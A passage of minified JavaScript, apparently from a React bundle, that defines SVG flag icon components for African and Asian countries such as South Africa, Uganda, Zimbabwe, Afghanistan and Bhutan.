8v4h16V8H0Z"})))),hl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SO_-_Somalia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SO_-_Somalia_svg__a)"},(0,s.createElement)("path",{fill:"#56C6F5",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M7.99 7.359 6.106 8.555l.632-2.094-1.343-1.369 1.85-.04.82-2.068.746 2.095 1.846.032-1.387 1.394.647 1.992L7.99 7.36Z"}))),vl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ZA_-_South_Africa_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#ZA_-_South_Africa_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ZA_-_South_Africa_svg__b",width:18,height:20,x:-1,y:-4,fill:"#000",maskUnits:"userSpaceOnUse"},(0,s.createElement)("path",{fill:"#fff",d:"M-1-4h18v20H-1z"}),(0,s.createElement)("path",{fillRule:"evenodd",d:"M7.714 5 0-1v14l7.714-6H16V5H7.714Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M7.714 5 0-1v14l7.714-6H16V5H7.714Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m0-1 .614-.79L-1-3.044V-1h1Zm7.714 6-.614.79.271.21h.343V5ZM0 13h-1v2.045l1.614-1.256L0 13Zm7.714-6V6h-.343l-.27.21.613.79ZM16 7v1h1V7h-1Zm0-2h1V4h-1v1ZM-.614-.21l7.714 6 1.228-1.58-7.714-6L-.614-.21ZM1 13V-1h-2v14h2Zm6.1-6.79-7.714 6 1.228 1.58 7.714-6L7.1 6.21ZM16 6H7.714v2H16V6Zm-1-1v2h2V5h-2ZM7.714 6H16V4H7.714v2Z",mask:"url(#ZA_-_South_Africa_svg__b)"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#FECA00",d:"M.3 2.6-.5 2v8l.8-.6 4-3 .533-.4-.533-.4-4-3Z"}))),ul=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SS_-_South_Sudan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{mask:"url(#SS_-_South_Sudan_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#4E8B1D",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",stroke:"#F7FCFF",d:"M0 3.5h-.5v5h17v-5H0Z"}),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"m0 0 10 6-10 6V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m3.324 7.204-1.01 1.05-.105-1.492L.92 5.968l1.343-.421.22-1.48.93 1.172 1.355-.363-.7 1.387.681 1.339-1.426-.398Z",clipRule:"evenodd"}))),_l=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SD_-_Sudan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SD_-_Sudan_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"m0 0 8 6-8 6V0Z"}))),pl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TZ_-_Tanzania_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TZ_-_Tanzania_svg__a)"},(0,s.createElement)("path",{fill:"#3195F9",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TZ_-_Tanzania_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#TZ_-_Tanzania_svg__b)"},(0,s.createElement)("path",{fill:"#73BE4A",fillRule:"evenodd",d:"M0 0v12L16 0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#FFD018",strokeWidth:1.25,d:"m-.91 12.72.346.52.52-.348L18.086.791l.52-.347-.347-.52-1.11-1.664-.347-.52-.52.348-18.13 12.101-.52.347.347.52 1.11 1.664Z"})))),fl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TG_-_Togo_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TG_-_Togo_svg__a)"},(0,s.createElement)("path",{fill:"#5EAA22",stroke:"#F7FCFF",d:"M0-.5h-.5v13h17v-13H0Z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 3v2h16V3H0ZM0 7v2h16V7H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F50101",d:"M0 0h8v7H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m4.125 5.072-1.86 1.15.722-1.931L1.5 2.99h1.824l.801-1.925.611 1.925h1.802L5.273 4.29l.623 1.837-1.771-1.056Z",clipRule:"evenodd"}))),gl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TN_-_Tunisia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TN_-_Tunisia_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TN_-_Tunisia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#TN_-_Tunisia_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M8 10a4 4 0 1 0 0-8 4 4 0 0 0 0 8Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M8.701 8.825S6.593 8.25 6.593 5.987c0-2.264 2.108-2.888 2.108-2.888-.871-.338-3.423.18-3.423 2.888 0 2.707 2.623 3.195 3.423 2.838Zm-.116-3.33-1.046.381 1.125.393.037 1.053.685-.818 1.128.08-.813-.663.49-.957-.957.321-.662-.828.013 1.037Z"})))),El=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"UG_-_Uganda_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{mask:"url(#UG_-_Uganda_svg__a)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"UG_-_Uganda_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#UG_-_Uganda_svg__b)"},(0,s.createElement)("path",{fill:"#272727",d:"M0 0h16v2H0z"}),(0,s.createElement)("path",{fill:"#D74800",d:"M0 4h16v2H0z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 6h16v2H0z"}),(0,s.createElement)("path",{fill:"#D74800",d:"M0 10h16v2H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M8 9a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"m6.84 4.164-.53.174.53.045s.085.21 0 .373c-.022.041-.078.094-.15.162-.21.2-.553.525-.553 1.055 0 .71 1.37 1.032 1.37 1.032v.337s.159.1-.748.1c-.787 0-.738.298-.711.461a.436.436 0 0 1 .008.065c0 .129.378-.13.555-.387.093-.135.483-.128.884-.09.031.002.324.62.07.94-.107.135-.474.152-.704.163-.117.006-.199.01-.191.026.006.013.075.009.176.003.125-.008.3-.018.461-.003.024.003-.07.085-.166.168-.099.086-.199.172-.17.174.031.001.216-.101.384-.194.139-.077.266-.148.285-.148.127 0 .241.016.342.03.168.023.296.04.377-.03.025-.021-.12-.056-.267-.091-.151-.036-.306-.073-.282-.098.14-.138.081-.428.036-.656a1.198 1.198 0 0 1-.036-.251c.012-.207.232-.099.404-.013.075.037.142.07.178.07.327 0-.079-.413-.301-.64l-.054-.054c-.113-.117-.034-.101.146-.066.137.027.332.066.544.066.49 0 .848-.16.724-.591-.082-.285-.531-.381-1-.483-.243-.052-.49-.105-.695-.186-.505-.199-.48-.49-.457-.734.004-.048.008-.094.008-.137 0-.266.449-.592.449-.592s-.205-.343-.545-.343c-.34 0-.371.343-.371.343Zm.924 3.124v-.25s.21-.008.283.169c.074.176-.283.081-.283.081Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#D74800",fillRule:"evenodd",d:"m6.538 3.356.507.6.263-.061-.126-.607-.644.068Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"m7.196 3.21.033.904.433-.107.184-.591-.65-.206Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#D74800",fillRule:"evenodd",d:"M6.788 4.72a.171.171 0 0 0 .174-.17.171.171 0 0 0-.174-.168.171.171 0 0 0-.173.169c0 .093.078.168.173.168ZM7.888 3.38l-.504.603.107.248.575-.23-.178-.621ZM9.06 7.947s.886-.396.886-.95c0-.554-1.44-1.157-1.44-1.157s-.846.194-.464.453c.381.26.892.36.892.704 0 .345.14.674-.144.674-.283 0 .27.276.27.276Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFFDFF",fillRule:"evenodd",d:"M7.78 5.74s-.313.054-.298.105c.041.14.47.324.657.451.381.26.743.23 1.012.061.27-.168-1.37-.618-1.37-.618Z",clipRule:"evenodd"})))),Zl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ZM_-_Zambia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#ZM_-_Zambia_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ZM_-_Zambia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ZM_-_Zambia_svg__b)"},(0,s.createElement)("path",{fill:"#FF8126",d:"M13 5h3v7h-3z"}),(0,s.createElement)("path",{fill:"#272727",d:"M10 5h3v7h-3z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M7 5h3v7H7z"}),(0,s.createElement)("path",{fill:"#FF8126",fillRule:"evenodd",d:"M10.808 1.558c.27.1 0 .252 0 .252s-.054-.062-.054-.114c0-.052-.207 0-.314.189-.101.178.085.177.282.177h.032c.111 0 .285-.011.446-.021.14-.01.271-.017.344-.017.157 0 .231 0 .438-.14.134-.09.578-.2.909-.283a3.88 3.88 0 0 0 .368-.1c.13-.058-.13.247-.13.247s1.006-.406 1.207-.544c.125-.086.068-.013-.024.107a2.871 2.871 0 0 0-.177.247c-.085.141.088.007.28-.142a4.22 4.22 0 0 1 .29-.212c.22-.139-.057.237-.18.354-.122.118.287 0 .43-.117.103-.086.008.065-.072.192a2.535 2.535 0 0 0-.07.115l-.003.005c-.055.1-.072.132.06.132s-.344.37-.344.37.142-.022 0 .224c-.084.146-.492.293-.822.412-.23.083-.424.153-.445.199-.037.083-.409.18-.582.225-.061.016-.098.025-.085.025.049 0 .13.062.042.062s-.243.05-.243.05.082 0 0 .116c-.039.056-.107.047-.155.04-.053-.006-.08-.01-.02.076.054.077.074.106.068.114-.008.01-.048-.007-.111-.007-.056 0-.116-.024-.18-.05-.069-.027-.142-.057-.218-.057-.139 0 0 .098.088.16l.01.007c.078.055.045.055-.095.054h-.046c-.087 0-.134-.01-.159-.014-.026-.006-.029-.006-.029.014s-.065-.007-.144-.04c-.082-.034-.178-.074-.23-.074-.103 0 .218.212.218.212s-.168-.054-.258-.098c-.052-.024.014.092.073.198.045.08.086.154.07.154a.265.265 0 0 1-.072-.029c-.065-.03-.145-.07-.145-.018 0 .078.074.135.164.135.09 0 .106.12.052.12-.018 0-.041-.008-.063-.015-.041-.015-.08-.028-.08.015 0 .028.017.05.036.073.025.034.055.073.055.145 0 .125-.134.143-.09.06.044-.083-.153-.283-.153-.185v.125c0 .089-.018.094-.044.103-.016.005-.036.012-.058.04-.033.042-.038.065-.04.079-.003.013-.004.016-.027.016-.019 0-.034-.028-.055-.065-.032-.057-.076-.136-.164-.173-.082-.034-.087-.01-.094.034a.163.163 0 0 1-.055.109c-.063.053-.046.075-.025.101.012.015.025.031.025.055 0 .066-.11-.066-.11-.156s-.126-.21-.126-.143 0 .143-.064.143c-.031 0-.032.022-.034.052-.002.032-.004.073-.044.104-.04.031-.04.015-.037-.022.002-.034.004-.087-.027-.134-.038-.058-.006-.149.01-.195.01-.029.015-.04-.01-.014-.062.066-.142.066-.196.066H9.8c-.027 0-.051.035-.068.06-.017.024-.027.038-.027 0 0-.076.08-.278.23-.278.117 0 .175-.047.225-.087a.498.498 0 0 1 .044-.033c.065-.041 0-.095-.064-.135-.03-.018-.019-.075.002-.127.035-.023.062-.052.062-.08 0-.036-.038.018-.063.08a.314.314 0 0 1-.143.05c-.034 0-.012-.062.014-.14a.7.7 0 0 0 .05-.202c0-.057.01-.107.016-.141.008-.045.012-.063-.016-.04-.035.03-.221-.003-.349-.025-.054-.01-.098-.017-.114-.017-.023 0-.004-.044.015-.089.024-.056.047-.111-.015-.077-.097.054-.295.052-.42.05h-.05c-.073 0-.023-.064.004-.1.016-.019.024-.029-.004-.012a.408.408 0 0 1-.233.062c-.037 0-.048-.022-.06-.047-.015-.03-.03-.063-.099-.062-.124 0-.152-.001-.22-.055-.036-.028-.016-.045-.005-.054.01-.009.014-.011-.04-.011h-.338c-.168 0 0-.131.061-.131.06 0 .131-.118 0-.065-.083.034-.173.024-.279.013-.06-.006-.124-.013-.196-.013-.199 0-.237-.092-.12-.092.119 0 .126-.068-.058-.068a.861.861 0 0 1-.28-.054.376.376 0 0 0-.098-.025c-.065 0-.135-.09 0-.09.134 0 .307-.076.16-.076-.084 0-.222-.044-.343-.083-.093-.03-.175-.056-.213-.056-.03 0 .016-.01.077-.023.121-.026.302-.065.071-.065-.247 0-.505-.2-.684-.34a1.144 1.144 0 0 0-.172-.12c-.138-.064 0-.189.04-.137.04.052.32.132.198.062a.724.724 0 0 1-.238-.252c-.04-.064-.009-.108.04-.057.05.05.276.195.276.195s-.121-.138-.218-.354c-.096-.216.097-.163.261 0 .165.164.32.207.398.216.077.01-.078-.117-.227-.216-.15-.098-.116-.45 0-.31.06.074.344.213.623.35.257.125.508.248.573.314.113.115.022-.056-.076-.24l-.06-.114c-.065-.125.197.018.496.18.214.117.448.244.591.288.099.03.217.08.335.129.29.12.581.241.581.085 0-.22.266-.565.551-.682.181-.073.266-.007.374.077.062.049.13.103.23.14ZM10.5 4.142c.064 0 .046-.669.046-.669s.19.41.19.588c0 .081-.005.105-.003.129.002.027.015.054.06.176.047.124.016.11-.068.074-.069-.03-.171-.074-.296-.074-.28 0 .006-.224.07-.224Z",clipRule:"evenodd"})))),yl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ZW_-_Zimbabwe_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#ZW_-_Zimbabwe_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ZW_-_Zimbabwe_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ZW_-_Zimbabwe_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 1v10h16V1H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#E31D1C",strokeWidth:1.75,d:"M0 4.125h-.875v3.75h17.75v-3.75H0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 2V0h16v2H0Zm0 10v-2h16v2H0Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F7FCFF",stroke:"#272727",d:"M.298-.401-.5-.995V12.98l.794-.575L8.459 6.48l.551-.4-.546-.406L.298-.401Z"}),(0,s.createElement)("mask",{id:"ZW_-_Zimbabwe_svg__c",width:11,height:16,x:-1,y:-2,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",d:"M.298-.401-.5-.995V12.98l.794-.575L8.459 6.48l.551-.4-.546-.406L.298-.401Z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#ZW_-_Zimbabwe_svg__c)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M3.74 7.14 1.85 8.663l.866-2.038-1.489-1.434h1.758l.721-1.73.766 1.73h1.755L4.66 6.626l.785 2.038L3.739 7.14Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M2.509 4.21s-.028-.065.134-.124c.162-.058.212-.182.339-.091.126.091.206-.092.242.17.037.264.137.678.137.678L5.005 6.08h-.309s-.48.706-.402 1.326c0 0-.331-.05-.781-.05s-.744.108-.744.108l-.26-.962s.094-.162.134-.292c.04-.13.208-.154.208-.258 0-.104-.165-.19-.082-.459.082-.268.082-1.07.082-1.07s-.26-.115-.208-.115c.053 0 .174-.096.087-.096H2.51Z"})))),wl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AF_-_Afghanistan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#AF_-_Afghanistan_svg__a)"},(0,s.createElement)("path",{fill:"#67BD38",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#D51700",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 0h5v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M5 6.05a3.05 3.05 0 1 0 5.48-1.844l-.443 1.338A2.055 2.055 0 0 1 9.3 7.675V5.3H9a1 1 0 0 0-2 0h-.3v2.293a2.045 2.045 0 0 1-.662-1.937H6l-.37-1.462A3.037 3.037 0 0 0 5 6.05Zm2.7.204V8.07a2.063 2.063 0 0 0 .6.015v-1.83a1 1 0 0 1-.6 0Z"}))),kl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BH_-_Bahrain_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BH_-_Bahrain_svg__a)"},(0,s.createElement)("rect",{width:16,height:12,fill:"#E31D1C",rx:1}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h3.4L6 1 3.4 2 6 3 3.4 4 6 5 3.4 6 6 7 3.4 8 6 9l-2.6 1L6 11l-2.6 1H0V0Z",clipRule:"evenodd"}))),Rl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BD_-_Bangladesh_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BD_-_Bangladesh_svg__a)"},(0,s.createElement)("path",{fill:"#38A17E",d:"M0 0h16v12H0z"}),(0,s.createElement)("path",{fill:"#F72E45",fillRule:"evenodd",d:"M6 9a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",clipRule:"evenodd"}))),Ml=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BT_-_Bhutan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BT_-_Bhutan_svg__a)"},(0,s.createElement)("path",{fill:"#FF6230",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v12L16 0H0Z",clipRule:"evenodd"}),(0,s.createElement)("g",{filter:"url(#BT_-_Bhutan_svg__b)"},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M2.191 8.164s-.751.685-.156.721c.596.036.485.4.972.002.488-.397.015.063.665-.027s.975-.883 1.318-.829c.343.054.144-.072.433.27.29.344.797-.385.526.121-.27.506-.379 1.011.018.993.397-.018.56-.253.74-.505.181-.253 1.59.614.94-.253-.65-.867-.903.095-.957-.357-.054-.451-.183-.686.124-.47.307.218 1.03.163.47-.378-.56-.542-.483-.686-.645-.542-.163.144-.56-.542 0-.632.56-.09 1.204.217 1.42.38.218.162.886-.037 1.03.288.145.325.632.38.759.578.126.199.036 1.174 1.065 1.12 1.03-.055 1.354-.578.921-.994-.434-.415-.397-1.173-.849-.812-.451.36-1.101.307-1.101-.127 0-.433.198-.505.162-.848-.036-.344-.072-.2.596-.181.668.018.434 0 .921-.235.488-.234.813.795 1.011.036.199-.758-.072-1.535-.614-1.228-.541.307-.523 1.066-1.21.47-.686-.596-1.01-.289-.794-.614.217-.325-.054-.56.433-.343.488.217.344.289.759.343.415.054 2.618.325 2.13-.126-.487-.452-.955-.378-1.027-.667-.072-.29.225-.217.658-.38.434-.162.253-.993-.163-.83-.415.162-.38.885-1.228.433-.974.424-.823.211-1.319-.507-.433-.343-.668-.36-1.408.036-.585.241-1.074.687-.767 1.283.308.595 1.039 1.718.642 1.79-.398.072-1.824-.993-2.655-.433-.83.56-1.284 1.104-1.555 1.754-.27.65-1.147 1.029-1.364 1.029-.217 0-.522.382-.9.671Z",clipRule:"evenodd"}))),(0,s.createElement)("defs",null,(0,s.createElement)("filter",{id:"BT_-_Bhutan_svg__b",width:15.543,height:11.641,x:-.194,y:-.225,colorInterpolationFilters:"sRGB",filterUnits:"userSpaceOnUse"},(0,s.createElement)("feFlood",{floodOpacity:0,result:"BackgroundImageFix"}),(0,s.createElement)("feColorMatrix",{in:"SourceAlpha",result:"hardAlpha",values:"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"}),(0,s.createElement)("feOffset",null),(0,s.createElement)("feGaussianBlur",{stdDeviation:1}),(0,s.createElement)("feColorMatrix",{values:"0 0 0 0 0.866667 0 0 0 0 0.184314 0 0 0 0 0 0 0 0 0.38 0"}),(0,s.createElement)("feBlend",{in2:"BackgroundImageFix",result:"effect1_dropShadow_270_55195"}),(0,s.createElement)("feBlend",{in:"SourceGraphic",in2:"effect1_dropShadow_270_55195",result:"shape"})))),Fl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BN_-_Brunei_Darussalam_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BN_-_Brunei_Darussalam_svg__a)"},(0,s.createElement)("path",{fill:"#FFD221",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BN_-_Brunei_Darussalam_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#BN_-_Brunei_Darussalam_svg__b)"},(0,s.createElement)("path",{fill:"#313131",d:"m-1.534 5.308 1.004-2.29 17.414 7.636-1.004 2.29-17.414-7.636Z"}),(0,s.createElement)("path",{fill:"#FAF9F9",d:"M-1.509 2.785-.505.495l18.28 8.012-1.004 2.29-18.28-8.012Z"}),(0,s.createElement)("path",{fill:"#CF1225",fillRule:"evenodd",d:"M8 1.444a.5.5 0 0 0-.5.5v1.814a1.461 1.461 0 0 0-.634-.158c-.549 0-1.166.768-1.166.768s1.02.028 1.8.802v2.774c-.863-.229-1.234-1.107-1.136-2.903l-1.498-.082c-.157 2.884.909 4.546 3.155 4.546 2.235 0 3.337-1.647 3.262-4.524l-1.5.038c.048 1.835-.37 2.724-1.283 2.936v-2.88c.765-.682 1.7-.707 1.7-.707S9.583 3.6 9.034 3.6c-.198 0-.38.05-.534.113v-1.77a.5.5 0 0 0-.5-.5ZM2.91 5.492a.5.5 0 1 1 .18-.984c.999.183 1.542.878 1.542 1.94v2.026a.5.5 0 1 1-1 0V6.449c0-.593-.212-.864-.722-.957Zm10.614-.582a.5.5 0 0 1-.402.582c-.51.093-.722.364-.722.957v2.025a.5.5 0 1 1-1 0V6.449c0-1.063.543-1.758 1.542-1.94a.5.5 0 0 1 .582.401ZM4.87 9.22l.826-.563c.463.68 1.211 1.02 2.303 1.02 1.1 0 1.793-.265 2.133-.758l.823.568c-.557.806-1.56 1.19-2.956 1.19-1.404 0-2.467-.484-3.13-1.457Z",clipRule:"evenodd"})))),bl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("path",{fill:"#032EA1",d:"M0 